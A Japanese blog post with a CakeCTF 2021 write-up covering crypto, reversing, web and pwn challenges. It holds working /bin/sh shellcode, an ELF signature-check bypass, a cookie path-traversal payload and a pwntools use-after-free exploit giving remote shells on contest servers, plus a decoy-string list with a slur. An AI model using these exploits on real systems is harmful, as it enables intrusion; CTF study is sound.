プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

CakeCTF 2021 write-up

CakeCTF 2021に、一人チームrotationで参加しました。そのwrite-up記事です。なお本コンテストは、昨年開催のInterKosenCTF 2020の後継のようです。 問題等はtheoremoon/cakectf-2021-publicで公開されています。

コンテスト概要

2021-08-28(土) 08:00:00 +09:00 – 2021-08-29(日) 20:00:00 +09:00 の期間でした。 他ルールはAboutより引用:

CakeCTF 2021 is a Jeopardy-style Capture The Flag competition hosted by yoshiking, theoremoon, and ptr-yudai.
There will be some challenges of pwn, web, rev, crypto, and so on. These challenges range in difficulty from beginner to intermediate level.

結果

正の得点を得ている157チーム中、1366ptsで30位でした。

解けた問題
スコア遷移

環境

Windows+WSL2(Ubuntu)で取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19043.1165]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Stopped         2

他ソフト

  • IDA(Free版): Version 7.6.210507 Windows x64
  • Bz: Verino 1.9.8.5

WSL

$ cat /proc/version
Linux version 5.10.16.3-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Apr 2 22:23:49 UTC 2021
$ uname -srvmo
Linux 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86_64 GNU/Linux
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 21.2.4
$ python3.8 -m pip show pycryptodome | grep Version
Version: 3.10.1
$ python3.8 -m pip show pwntools | grep Version
Version: 4.6.0

解けた問題

[welcome] Welcome

Get the flag in Discord

Discordのannouncementチャンネルに、開始直後に以下の発言が書き込まれました:

ptr-yudai — Today at 8:00 AM
Go!
CakeCTF{Let_them_eat_CakeCTF2021!}

そういうわけでフラグを入手できました: CakeCTF{Let_them_eat_CakeCTF2021!}

[misc, warmup] Break a leg

ganbatte!

配布ファイルを確認すると、chall.pychall.pngがありました。chall.pyは以下の内容です:

from PIL import Image
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")

bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]

img = Image.new("RGB", (256, 256))

img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
img.save("chall.png")

画像の各ピクセルについて、rgbの最下位ビットにフラグの情報を含めていることがわかりました。最下位ビットにも乱数の影響が及んでいますが、画像サイズがフラグ長よりも大きいのでビット論理積を取っていけばフラグを復元できそうです。ところで40分くらいハマっていたことなんですが、flag.bit_length()は8の倍数とは限りません。8の倍数だと思いこんでいてひたすらバグらせていました。最終的に、フラグ長をビット単位で探索する、以下のコードを書きました:

#!/usr/bin/env python3.8

from PIL import Image
from Crypto.Util.number import long_to_bytes

img = Image.open("chall.png")
data = []
for rgb in img.getdata():
    for element in rgb:
        data.append(element & 1)
assert len(data) == 256*256*3

for expected_bits in range(7*8, (64*8)):
    current_bits = [1 for x in range(expected_bits)]
    for (i, d) in enumerate(data):
        current_bits[i%len(current_bits)] &= d

    current_bytes = []
    accumlated = 0
    for (i, b) in enumerate(current_bits):
        accumlated |= (b<<i)

    current_flag = long_to_bytes(accumlated)
    if b"CakeCTF" in current_flag:
        print(expected_bits, current_flag)

これを15秒ほどかけて実行してフラグを入手できました: CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)}

[crypto, warmup]discrete log

People conclude discrete log is hard problem up to now.
discrete-log_57019b304dd62acf62b04491f0ebd584.tar.gz

配布ファイルを確認すると、task.pyoutput.txtがありました。task.pyは以下の内容です:

from Crypto.Util.number import getPrime, isPrime, getRandomRange

def getSafePrime(bits):
    while True:
        p = getPrime(bits - 1)
        q = 2*p + 1
        if isPrime(q):
            return q

with open("flag.txt", "rb") as f:
    flag = f.read().strip()

p = getSafePrime(512)
g = getRandomRange(2, p)
r = getRandomRange(2, p)

cs = []
for m in flag:
    cs.append(pow(g, r*m, p))

print(p)
print(g)
print(cs)

output.txtは上記コードの出力結果のようです。指数法則よりg^(r*m) == (g^r)^m == (g^m)^rであるため、それを利用してrg^rを計算するのかと検討をつけました。 最初はフラグ先頭がCで始まることを利用するのかと考えていましたが、離散対数問題を解くか、mod上でのm乗根を求める必要があり、この方法では解けなさそうです。1時間ぐらい考えた結果、フラグ文字列CakeCTF中のCFを暗号化した結果を使えば(g^r)^3を計算できることをひらめき、mod上での3乗根は求められるらしいことが分かっていたので、以下のコードを書きました:

#!/usr/bin/env python3.8

# https://stackoverflow.com/questions/6752374/cube-root-modulo-p-how-do-i-do-this
# 元コードはPython2のコードだったので、print関数と整数除算箇所を変更
def cuberoot(a, p):
    if p == 2:
        return a
    if p == 3:
        return a
    if (p%3) == 2:
        return pow(a,(2*p - 1)//3, p)
    if (p%9) == 4:
        root = pow(a,(2*p + 1)//9, p)
        if pow(root,3,p) == a%p:
            return root
        else:
            return None
    if (p%9) == 7:
        root = pow(a,(p + 2)//9, p)
        if pow(root,3,p) == a%p:
            return root
        else:
            return None
    else:
        print("Not implemented yet. See the second paper")

with open("output.txt") as f:
    p = int(f.readline())
    g = int(f.readline())
    cs = list(map(lambda s: int(s), f.readline().rstrip()[1:-1].split(", "))) # len=41

# 0123456
# CakeCTF
c_C = cs[4]
c_F = cs[6]
g_r_3 = c_F * pow(c_C, -1, p) % p
g_r = cuberoot(g_r_3, p)
assert pow(g_r, ord("F"), p) == c_F

for c in cs:
    for x in range(0x20, 0x7F):
        if pow(g_r, x, p) == c:
            print(chr(x), end="")
print()

これを実行してフラグを入手できました: CakeCTF{ba37a0f409ef3ec23a6cffbc474a1cef}

[reversing, warmup] nostrings

CTF / rev / warmup --> strings
nostrings_13a90705747fd7bf592b4763db42765e.tar.gz

配布ファイルを確認すると、ELF実行ファイルのchallがありました:

$ file *
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Buid

IDAで見てみると、シンボルはstrippedな状態とはいえ、標準ライブラリが動的リンクされているのでとても読みやすいものでした。最近のIDAはFree版でもx64バイナリなら逆コンパイルできるので、逆コンパイルして適宜リネーム等施したものが以下の内容になります:

__int64 __fastcall sub_11A8()
{
  __int64 v0; // rbp
  int correct; // [rsp-60h] [rbp-68h]
  int i; // [rsp-5Ch] [rbp-64h]
  char input[72]; // [rsp-58h] [rbp-60h] BYREF
  unsigned __int64 canary; // [rsp-10h] [rbp-18h]
  __int64 v6; // [rsp-8h] [rbp-10h]

  v6 = v0;
  canary = __readfsqword(0x28u);
  printf("flag: ");
  __isoc99_scanf("%58s", input);
  correct = 1;
  for ( i = 0; i <= 57; ++i )
  {
    if ( input[i] == 127 )
    {
      puts("^o^");
      return 1LL;
    }
    correct *= g_byteArray[127 * input[i] + i] == input[i];
  }
  if ( correct )
  {
    puts(".O. < i+! +o6 noh");
    puts(">v< this is the flag");
  }
  else
  {
    puts("-_- < flag in the string...");
  }
  return 0LL;
}

つまり、58文字の入力を与えて、すべての文字についてg_byteArray[127 * input[i] + i] == input[i]が成立するものがフラグになります。カーソル位置をグローバル変数の先頭に合わせた状態で、IDAウィンドウの下の方にあるIDCコマンド入力欄でget_bytes(ScreenEA(), 127*256, 0)を実行して取得すると、グローバル変数内容をsolverへ持っていくのが簡単です。これらを使って以下のコードを書きました:

#!/usr/bin/env python3.8

# グローバル変数の内容
data = b"(32512バイト分あるので省略)"

for i in range(58):
    for c in range(0x20, 0x7F):
        if data[127*c+i] == c:
            print(chr(c), end="")
print()

これを実行してフラグを入手できました: CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357} leet表記から戻すとthe best place to hide for flag is in for flag forestでしょうか。 ちなみにstringsを試すと偽フラグがたくさん出てきます:

FakeCTF{actually_this_is_not_the_flag_please_don_t_submit}
CokeCTF{the_coke_is_so_tasty_but_not_compatible_with_cake}
DoggoCTF{the_doggo_is_so_cute_i_know_and_you_may_know_too}
CateCTF{do_you_know_the_name_of_the_cat_who_eating_a_cake}
BlablaBla...Wowow....Wawooooooooo...Nyarrrrrrrrn....Cooook
FlagCTF{so_as_a_lot_of_flags_here_one_of_them_is_a_flag??}
CTFCTF{who_were_defined_the_standard_format_of_the_flag??}
MiscCTF{in_fact_im_so_tired_to_make_a_lot_of_fake_flags_an
nd_there_number_of_uncreated_flag_is_waiting_for_me_:sob:}
CakeCTF}this_is_not_a_flag_because_dont_follow_the_format{
The_quick_brown_fox_jumps_over_the_lazy_dog_while_the_cat_
eating_a_so_tasty_cake_btw_why_this_is_the_cakectf_qurious
stylus_cartooned_unregenerate_divisions_respites_broomstic
ruckuses_evinced_anyhow_mosques_terraces_estrogens_tomorro
Cheever{s_Javanese_washbowl_booklets_surfaces_allusions_os
infid315_0v3rch4rg35_h34p_nigg45_guid3b00k5_b3570wing_p4vi
in3xp3n5iv31y_imp3cc4b1y0v3r_f13ck_knigh7_cynici5m5_0ffby}
Su54nn3{R3ich_bubb1y_bip4r7_0f_g041_5ick_G3n3r41_juni0r5_x
Hemingway_recording_Eisenhower_stingray_scammers_abacuses}
5p0n50r5_734_347_c1053_c41m_m30w_innu_quick_70find_c4k3_in
n0ug37_10p35_kick574nd_35quir3_4t_74ugh7y_b14ckh411_gin5_c
r34d_undying_45p3rg3s_inv41id_p3rm347_p5yc03cc_in7r4p3r50n
ceilings_area_prepares_exterminations_sidebar_Zubeneschama
d00r{b04t_4nd_c7o_c0mmu73_fri3nd5hip_mur415_b05ch_h3uri57i
Beneluxs_Krasnoyarsk_jamming_preventative_batters_hangdog}
hums_Xhosa_unutterable_corset_splinted_vacationer_suspicio
3mbr0i15_4v3r4g3d_pr35ump7i0n5_Sc0775d413_v4n4dium5_d35014
finalize_protrusions_talkative_ingested_pithily_hydrae_Pet
Cooper{Vincent_telecommute_quorum_personalitys_tails_troll
inexplicable_tags_mobilization_christenings_wive_tangs_cop
0v3r4chi3v3r5_J4ni5_r3c3p7iv3n355_F4i5414b4d_1ik3n3555_5hu
needinesss_hemmed_stargazer_simplex_transmigrate_Naismith}
Ednas_Livingstons_terminals_subsystem_upshot_Fibonaccis_el
burri705_p33v35_5p0n74n30u51y_0rch357r4_V41h41145_Guin3v3r
baxters_diaphragms_Exodus_bunted_owes_tomcats_sagas_dickie
Ceo_Card_overbalances_cursorily_clanking_celebrated_rummag
forsaking_slits_delphiniums_ooze_fricasseed_enfolded_yearb
lubricators_Amigas_maws_middleweights_scaffold_radically_j
souls_Force_Roku_inheritances_acolyte_onionskins_submersed
enlivens_crotch_brocades_collides_telescopes_blooded_papoo
5wif71y_bi0ch3mi57_C075w01d_N0xz3m4_c0c00n3d_570dgin3555_f
Nicolas_arduously_send_tightropes_lighted_feathers_ancient
Varanasi_Navahoes_supervisions_heel_cynosure_warily_whoope
Cages{Bamako_dimness_dreamland_cambering_maelstroms_Ladoga
promos_excerpt_siblings_academician_intestines_moos_exalta
Ci{sepulchers_willfully_smokiness_deputy_cuisine_peppering
fibbed{unequally_synthetics_mock_Ahmads_leashed_solicitati
lines_recopying_directing_trusted_gangs_Alexs_casual_sleaz
und3rn347h5_D31phinu5_pr05p3c75_c4rj4ck3r5_g3n0m3_m0i573n5
new_Danishs_Olivia_calfskins_hones_thigh_stickups_bargaine
pr0f355i0n5_1imp375_pr3cipi74735_B4c0n5_c0nc473n473d_p0r74
accidentally_air_Afrikaanss_equivalent_tarpons_storeroom_C
game_Toneli_suspected_Eloys_reimposed_limited_treks_Blair}
poshest{touchstone_Marchs_wealthy_frappe_noised_runabout_l
Mirfak_wagons_Christianitys_tenser_reconquer_Akbars_Stendh
griddlecakes_cigaret_Apia_rennets_Hephaestuss_chrysalides}
score{Pythias_epee_renovated_alkalies_protozoa_physiothe_s
73n50r5_L03w5_4r3n7_5id31igh7_5h4110w5_3mb4rr455m3n75_0unc
Saki{despicable_fleets_kleptomanias_platooning_tearjerkers
demitasses_covers_stile_variate_proprietorships_namesakes}
pleasant_Toscas_gulag_P_jiggle_basements_Aries_minicams_in
scientific_MacBride_kneeled_vascular_Eugenia_fishwifes_fla
Opel{comparability_potters_perfecter_gurgle_geeks_lighting
fascinating_toot_sitty_en_guel_n_kill_em_ll_t_chop_suitabl
minute{shrouding_flambeing_Dotsons_kettledrums_mastoid_Rot
cares{fluttering_segments_trumpeters_mumble_vengeful_subco
uncompromisable_gut_Kewpies_escaroles_watercresss_unsparin
dizzies{inelegant_pocket_appeasements_Langs_pawnsh_gibbet}
frizzles_Garlant_yarbook_cardinal_carats_palpable_jaws_mul
haxe_tarnishs_Putnam_fusss_bull_forum_intrinsically_dishon
browbeating_layers_ciabattas_thief_Murasaki_unfruitful_kek
boycotted_optimisms_nematode_coolweight_over_assign_cell_s
dumble{yahoo_limited_offish_beautified_distort_nipped_tran
prospectuses_Puseys_Loafer_i_dozes_hominoid_Belgrades_endc
ciders_Robbinss_pantheism_rational_feasibilitys_Guthrie_st
lakefront_Closures_mounds_taillights_insouciant_foregoes_s
wafers{preordained_manic_breading_vibrato_advisers_registe
sidekicks_oink_dispersing_unrehear_Derby_pain_sadnesss_ent
b4rb3r5h0p_5mi7hy_4pr0p05_imm0r7415_wh0_m0n3y_r0y417y_c4rp
bans{candle_but_Tulsidass_Charlenes_estimable_peps_calluse
analyzers_gybing_pool_binnacle_Rambo_yeshivas_Anitas_tooth
Kenya_overreact_panelist_Caras_conifers_agilitys_isolated}
Dow_noughts_Mammons_discounting_fonts_pinioning_electricit
exalting{trademarked_complete_blueprint_Leonard_modified_o
venally_todd_Irelands_amazon_endless_median_Horn_lanker_so
v3rb5_WiFi_4b04rd_ch4mmy_510p5_5id357r0k35_g0rg35_ici3r_7r
foresails_Damien_waits_Inuktituts_luridnesss_logarithms_su
retrorockets_Amerindians_refuting_Comos_butternuts_instant
Alice_Cranes_enthusiast_irresponsible_ruffled_bonds_commen
energies_received_rainfalls_meet_rakes_grounders_unhooks_b
banisters_Roy_Yaccs_Merediths_burs_backwaters_hum_Wilberts
Zipcode{applicability_petticoat_Biscayne_transliterates_pu
matchless_hydrants_Scheherazade_phlegms_actings_encores_de
d3b3n7ur35_Burn5_M31vi113_hir3d_und3r5id35_inv3r531y_gund}
LastCTF{the_flag_has_stopped_here_secret_must_in_there...}

[reversing] Hash browns

Would you mind making the finest hash browns, chef?

配布ファイルを確認すると、ELF実行ファイルのhash_brownsがありました:

$ file hash_browns
hash_browns: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d70f273e3a97da3547c88d9f115a6ece58130bbc, for GNU/Linux 3.2.0, not stripped

IDAで逆コンパイルして、適宜リネーム等を施したものが以下の内容になります:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int x; // [rsp+1Ch] [rbp-3B4h] BYREF
  int y; // [rsp+20h] [rbp-3B0h] BYREF
  int i; // [rsp+24h] [rbp-3ACh]
  int hashIndex; // [rsp+28h] [rbp-3A8h]
  int loopCount; // [rsp+2Ch] [rbp-3A4h]
  char strArrayForMd5[404]; // [rsp+30h] [rbp-3A0h] BYREF
  char v10[8]; // [rsp+1C4h] [rbp-20Ch] BYREF
  char strArrayForSha256[404]; // [rsp+1D0h] [rbp-200h] BYREF
  char v12[8]; // [rsp+364h] [rbp-6Ch] BYREF
  char dataForMd5[2]; // [rsp+376h] [rbp-5Ah] BYREF
  char dataForSha256[2]; // [rsp+378h] [rbp-58h] BYREF
  char strMd5Digest10Bytes[11]; // [rsp+37Ah] [rbp-56h] BYREF
  char strSha256Digest10Bytes[11]; // [rsp+385h] [rbp-4Bh] BYREF
  unsigned __int8 md5Digest[16]; // [rsp+390h] [rbp-40h] BYREF
  unsigned __int8 sha256Digest[40]; // [rsp+3A0h] [rbp-30h] BYREF
  unsigned __int64 canary; // [rsp+3C8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  qmemcpy(strArrayForMd5, "0d61f8370c", sizeof(strArrayForMd5));
  strcpy(v10, "a2");
  qmemcpy(strArrayForSha256, "ca978112ca", sizeof(strArrayForSha256));
  strcpy(v12, "74");
  if ( argc > 1 )
  {
    loopCount = strlen(argv[1]) >> 1;
    if ( loopCount == 37 )
    {
      for ( i = 0; i < loopCount; ++i )
      {
        f(i, loopCount, &x, &y);
        if ( x < 0 )
          x += loopCount;
        dataForMd5[0] = argv[1][2 * i];
        dataForMd5[1] = 0;
        dataForSha256[0] = argv[1][2 * i + 1];
        dataForSha256[1] = 0;
        md5(dataForMd5, md5Digest);
        sha256(dataForSha256, sha256Digest);
        for ( hashIndex = 0; hashIndex <= 4; ++hashIndex )
        {
          sprintf(&strMd5Digest10Bytes[2 * hashIndex], "%02x", md5Digest[hashIndex]);
          sprintf(&strSha256Digest10Bytes[2 * hashIndex], "%02x", sha256Digest[hashIndex]);
        }
        if ( strcmp(&strArrayForMd5[11 * i], strMd5Digest10Bytes)
          || strcmp(&strArrayForSha256[11 * x], strSha256Digest10Bytes) )
        {
          puts("Too spicy :(");
          return 0;
        }
      }
      puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients.");
      return 0;
    }
    else
    {
      puts("Too sweet :(");
      return 0;
    }
  }
  else
  {
    printf("Usage: %s <flag>\n", *argv);
    return 0;
  }
}

シンボル名が残っているため、md5, sha256関数は名前から処理内容が推測できます。f関数だけは何をするかわからない名前ですが、処理を見ると拡張ユークリッド互除法で計算する関数と分かります:

// 実質exgcd
int __fastcall f(int a, int b, int *pX, int *pY)
{
  int gcd; // eax

  if ( b )
  {
    gcd = f(b, a % b, pY, pX);
    *pY -= a / b * *pX;
  }
  else
  {
    *pX = 1;
    *pY = 0;
    return a;
  }
  return gcd;
}

これらの点から、以下の処理を行うプログラムだと分かりました:

  • コマンドライン引数について、0-index開始として偶数indexの1文字からMD5を、奇数indexの1文字からSHA256を計算する
  • 各ハッシュ値の先頭5バイトを16進数文字列表記にする
  • MD5側はループカウンタを使って、SHA256側はexgcd結果のxを使って、グローバル変数のものと一致するかを検証する

そういうわけで、1文字ずつ検索する以下のプログラムを書きました:

#!/usr/bin/env python3.8

from hashlib import md5, sha256

def exgcd(a, b):
    if b:
        (gcd, y, x) = exgcd(b, a%b)
        y -= a//b * x
        return (gcd, x, y)
    else:
        return (a, 1, 0)

# IDC>get_bytes(0x20A0, 11*37, 0)
md5_list = "0d61f8370c\x008ce4b16b22\x000d61f8370c\x008006189430\x0084c4047341\x00d956797521\x009371d7a2e3\x0043ec3e5dee\x00336d5ebc54\x00336d5ebc54\x004c761f170e\x0084c4047341\x00b14a7b8059\x009371d7a2e3\x004c761f170e\x0044c29edb10\x00b9ece18c95\x00b9ece18c95\x00f186217753\x00f186217753\x004c761f170e\x0084c4047341\x00518ed29525\x009371d7a2e3\x0026b17225b6\x00336d5ebc54\x00336d5ebc54\x003389dae361\x0084c4047341\x00d956797521\x009371d7a2e3\x00a87ff679a2\x001679091c5a\x00c4ca4238a0\x008f14e45fce\x00c9f0f895fb\x00a87ff679a2\x00"[:-1].split("\x00")

# IDC>get_bytes(0x2240, 11*37, 0)
sha256_list = "ca978112ca\x003f79bb7b43\x007ace431cb6\x00d2e2adf717\x0074cd9ef9c7\x00c4694f2e93\x002c624232cd\x00559aead082\x007ace431cb6\x00d4735e3a26\x00ba5ec51d07\x00684888c0eb\x007902699be4\x007ace431cb6\x00148de9c5a7\x0074cd9ef9c7\x0032ebb1abcc\x0032ebb1abcc\x003e23e81600\x00e632b7095b\x007ace431cb6\x00d2e2adf717\x00ef2d127de3\x003973e022e9\x00c4694f2e93\x00021fb596db\x007ace431cb6\x00380918b946\x0074cd9ef9c7\x00a318c24216\x0074cd9ef9c7\x00380918b946\x0074cd9ef9c7\x00ba5ec51d07\x00380918b946\x00c4694f2e93\x00d10b36aa74\x00"[:-1].split("\x00")

loop_count = 37
flag_range = range(0x20, 0x7F)
for i in range(loop_count):
    (g, x, y) = exgcd(i, loop_count)
    if x < 0: x += loop_count

    for c in flag_range:
        d = md5(bytes([c])).hexdigest()[:10]
        if d == md5_list[i]:
            print(chr(c), end="")
            break
    else: raise Exception("Not found MD5")

    for c in flag_range:
        d = sha256(bytes([c])).hexdigest()[:10]
        if d == sha256_list[x]:
            print(chr(c), end="")
            break
    else: raise Exception("Not found SHA256")
print()

これを実行してフラグを入手できました: CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}

[reversing] ALDRYA

I'm scared of executing a malicious ELF file. That's why I invented this new ELF-verify system named ALDRYA.
nc misc.cakectf.com 10029

配布ファイルを確認すると、いくつかの形式がありました:

$ file *
README.md:     ASCII text
aldrya:        ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-d
sample.aldrya: data
sample.elf:    ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-d
server.py:     Python script, ASCII text executable

README.mdには、各種ファイルの使われ方と、フラグはサーバーのrootディレクトリに存在することが書かれていました:

# ALDRYA - CakeCTF 2021

`server.py` is running on the remote server.
You can upload an ELF file and the server will execute the following command:

 $ ./aldrya <Your ELF> ./sample.aldrya

`sample.aldrya` is the signature of `sample.elf`.
You can test it like this:

 $ ./aldrya ./sample.elf ./sample.aldrya

The flag exists somewhere on the root directory.

肝心要のaldryaをIDAで開いて読んでみると、以下の処理を行っていることが分かりました:

  1. ELFファイルの先頭4バイトのシグネチャを検証
  2. ELFファイルのサイズが、ALDRYAファイルの先頭4バイトから計算した範囲に含まれていることを検証
  3. ELFファイルを256バイトごとのチャンクに区切って以下のアルゴリズムでハッシュ値を計算し、ALDRYAファイルに書かれた値と一致することを検証:
    • hash = 0x20210828
    • for b in chunk: hash = ror(hash ^ b, 1) # ror: 4バイトの右ロテート
  4. すべての検証が通ればELFファイルを実行

サイズ範囲の制限があるため、提供されているsample.elfを改ざんしてシェルを実行させるのが簡単そうです。まずはシェルコードのバイト列の導出のために以下のコードを書きました:

#!/usr/bin/env python3.8

import pwn
pwn.context.binary = "./sample.elf"

# https://inaz2.hatenablog.com/entry/2014/07/04/001851
shellcode = pwn.asm("""
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx+59]
syscall

push 60
pop rax
xor rdi, rdi
syscall
""")
for b in shellcode:
    print(f"{b:02x} ", end="")
print()

これの出力内容でsample.elfの開始アドレスである0x1060以降を書き換えました。あとはハッシュ値の検証箇所を突破するため、以下のコードを書いてハッシュ値のMSBを確認しながら、改ざん後ELFを1バイトずつ調整していきました:

#!/usr/bin/env python3.8

file_1 = "sample.elf"
file_2 = "run_shell.elf"

with open(file_1, "rb") as f:
    d1 = f.read()
with open(file_2, "rb") as f:
    d2 = f.read()

def calc_chunk(data, content_length = 256):
    offset = 0x1000
    x = 0x20210828
    for byte in data[offset : offset + content_length]:
        x ^= byte
        b = x & 1
        x = (x >> 1) | (b << 31)
    return x

offset = 0x60
# ここをシェルコードサイズの0x25から1バイトずつ増やして調整しました
shellcode_length = offset + 0x54

print(hex(calc_chunk(d1, shellcode_length)))
print(hex(calc_chunk(d2, shellcode_length)))

if calc_chunk(d1) == calc_chunk(d2):
    print("Done!")

最終的に改ざん前後で以下の画像の内容になりました:

改ざん前後
改ざん後ELFを使ってローカル実行すると、aldryaを突破してシェルを実行できることを確認できました。後はシェルコードをどこかにアップロードすれば準備完了です。server.pyUse https://transfer.sh/ if you don't have your own server.と書かれていたのでアドバイス通りそのサービスを利用しました。 後はncで接続して、改ざん後ELFファイルをダウンロードさせて実行させました:

> $ nc misc.cakectf.com 10029
URL: http://transfer.sh/get/1YtGGcD/run_shell.elf
ls
aldrya
sample.aldrya
server.py
cd /
ls
bin
boot
dev
etc
flag-4c147adf5f7a18258f6709ed9402d902.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag-4c147adf5f7a18258f6709ed9402d902.txt
CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

プロンプトが出ていないので少し戸惑いましたが無事フラグを入手できました: CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

[web, warmup] MofuMofu Diary

Would you like to see some mofu-mofu pictures?
* The flag is located at /flag.txt

配布ファイルを確認すると、index.phputil.php、他imagesディレクトリ以下に動物画像と説明テキストがありました。util.phpを見ると、クッキーに含まれる日時が古い場合には、クッキーに含まれるファイルパスを読み込んでくれることが分かりました(最初は日時の条件を反対に解釈していて20分ハマっていました):

<?php
// 中略
        $cache = json_decode($_COOKIE['cache'], true);
        if ($cache['expiry'] <= time()) {

            $expiry = time() + 60*60*24*7;
            for($i = 0; $i < count($cache['data']); $i++) {
                $result = $cache['data'][$i];
                $_SESSION[$result['name']] = img2b64($result['name']);
            }

            $cookie = array('data' => $cache['data'], 'expiry' => $expiry);
            setcookie('cache', json_encode($cookie), $expiry);

        }

        return $cache['data'];
// 中略
?>

適当にアクセスしてクッキー内容を確認したりしながら、以下のように改ざんしたクッキーを用意しました:

In [59]: j
Out[59]:
{'data': [{'name': '../../../../../../../flag.txt', 'description': 'flag'},
  {'name': 'images/01.jpg', 'description': 'test image'}],
 'expiry': 0}

In [60]: urllib.parse.quote(json.dumps(j))
Out[60]: '%7B%22data%22%3A%20%5B%7B%22name%22%3A%20%22../../../../../../../flag.txt%22%2C%20%22description%22%3A%20%22flag%22%7D%2C%20%7B%22name%22%3A%20%22images/01.jpg%22%2C%20%22description%22%3A%20%22test%20image%22%7D%5D%2C%20%22expiry%22%3A%200%7D'

改ざんしたクッキーを使ってブラウザアクセスすると、Base64エンコードされたフラグが手に入りました。それを復号します:

In [62]: base64.b64decode("Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==")
Out[62]: b'CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}\n'

無事にフラグを入手できました: CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a} (leet表記から戻そうと思ったんですが、最後以外はanimals are honest unlike humansでしょうけれど、最後は英単語は何でしょう……?)

[pwn, warmup] UAF4b

You don't dare to try learning Use-after-Free?
nc pwn.cakectf.com 9001

ファイルの配布はなかったので、とりあえずnc接続してみました:

$ nc pwn.cakectf.com 9001
Today, let's learn how dangerous Use-after-Free is!
You're going to abuse the following structure:

  typedef struct {
    void (*fn_dialogue)(char*);
    char *message;
  } COWSAY;

An instance of this structure is allocated on the heap:

  COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY));

You can
 1. Call `fn_dialogue` with `message` as its argument:
  cowsay->fn_dialog(cowsay->message);

 2. Allocate and set `message` (This will never be freed):
  cowsay->mesage = malloc(17);
  scanf("%16s", cowsay->message);

 3. Delete cowsay only once:
  free(cowsay);

 4. See the heap around the cowsay instance

Last but not least, here is the address of `system` function:
  <system> = 0x7fcce25e9410

1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
>

ものすごく丁寧な説明が表示されました。色々触っているうちに、開幕でDeleteすると、その後1回目のChange messageで入力した内容がfn_dialogueへ反映されること、2回めのChange messageで入力した内容は別のアドレスへ反映されることが分かりました。 そういうわけで、1回目でsystem関数のアドレスを入力し、2回めで/bin/shを書き込む以下のコードを書きました:

#!/usr/bin/env python3.8

import pwn

pwn.context.log_level = "DEBUG"

def solve(tube):
    tube.recvuntil(b"<system> = ")
    system_address = int(tube.recvlineS(), 16)
    print(hex(system_address))
    tube.recvuntil(b'> ')

    tube.sendline(b"3")
    tube.sendline(b"2")
    tube.sendline(system_address.to_bytes(byteorder="little", length=8))
    tube.sendline(b"2")
    tube.sendline(b"/bin/sh")
    tube.sendline(b"4")
    tube.sendline(b"1")
    tube.interactive()

with pwn.remote("pwn.cakectf.com", 9001) as tube:
    solve(tube)

これを実行して、シェルを得ました:

$ ./solve.py
[+] Opening connection to pwn.cakectf.com on port 9001: Done
[DEBUG] Received 0x33 bytes:
    b"Today, let's learn how dangerous Use-after-Free is!"
[DEBUG] Received 0x2dc bytes:
    b'\n'
    b"You're going to abuse the following structure:\n"
    b'\n'
    b'  typedef struct {\n'
    b'    void (*fn_dialogue)(char*);\n'
    b'    char *message;\n'
    b'  } COWSAY;\n'
    b'\n'
    b'An instance of this structure is allocated on the heap:\n'
    b'\n'
    b'  COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY));\n'
    b'\n'
    b'You can\n'
    b' 1. Call `fn_dialogue` with `message` as its argument:\n'
    b'  cowsay->fn_dialog(cowsay->message);\n'
    b'\n'
    b' 2. Allocate and set `message` (This will never be freed):\n'
    b'  cowsay->mesage = malloc(17);\n'
    b'  scanf("%16s", cowsay->message);\n'
    b'\n'
    b' 3. Delete cowsay only once:\n'
    b'  free(cowsay);\n'
    b'\n'
    b' 4. See the heap around the cowsay instance\n'
    b'\n'
    b'Last but not least, here is the address of `system` function:\n'
